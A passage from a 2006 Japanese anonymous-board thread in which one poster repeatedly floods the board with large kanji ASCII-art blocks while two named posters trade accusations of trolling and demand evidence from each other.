欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

423 :1 ◆85KgNR48dA :2006/05/07(日) 13:34:50 ID:1z4+jDHh
>>417
> 誰がおまいごとき待ってるかいw
> たまたま見た時間が合っただけだ。

ほおー、相変わらず、負けず嫌いだな。
俺様を待っていたのは明らか。
で、俺様に議論で勝てるとでも思っている気か?

って、聞いているんだ。どんなんだ?
遣り合うのか?

424 :日出づる処の名無し:2006/05/07(日) 13:36:09 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

425 :日出づる処の名無し:2006/05/07(日) 13:36:42 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

426 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:36:52 ID:U+hDIbDw
>>423
はぁ?おまいが先に同期の桜は極東板の荒らしって
認定したんだろ?根拠よこせよw

根拠もないのに荒らし認定ですか?w

427 :1 ◆85KgNR48dA :2006/05/07(日) 13:38:11 ID:1z4+jDHh
>>426
で、お前は、この板を荒らしていないとでも言いたいのか?

で、俺様に議論で勝てるとでも思っている気か?

って、聞いているんだ。どんなんだ?
遣り合うのか?

428 :日出づる処の名無し:2006/05/07(日) 13:39:22 ID:gfX74EbV
>>427

証拠を出せよ証拠を

お前が異常なレスを大量にしている証拠なら沢山あるがなw

429 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 13:39:52 ID:U+hDIbDw
>>427
あーそう。根拠もないのに荒らし認定ね。はいはい。

ついでに言うと前々スレさっさと消費しとけよ。
下らんスレがいつまでも残ってる意味なんぞないんでな。

430 :日出づる処の名無し:2006/05/07(日) 13:40:53 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

431 :日出づる処の名無し:2006/05/07(日) 13:41:57 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


432 :日出づる処の名無し:2006/05/07(日) 13:43:08 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

433 :日出づる処の名無し:2006/05/07(日) 13:45:26 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝


434 :日出づる処の名無し:2006/05/07(日) 13:46:50 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
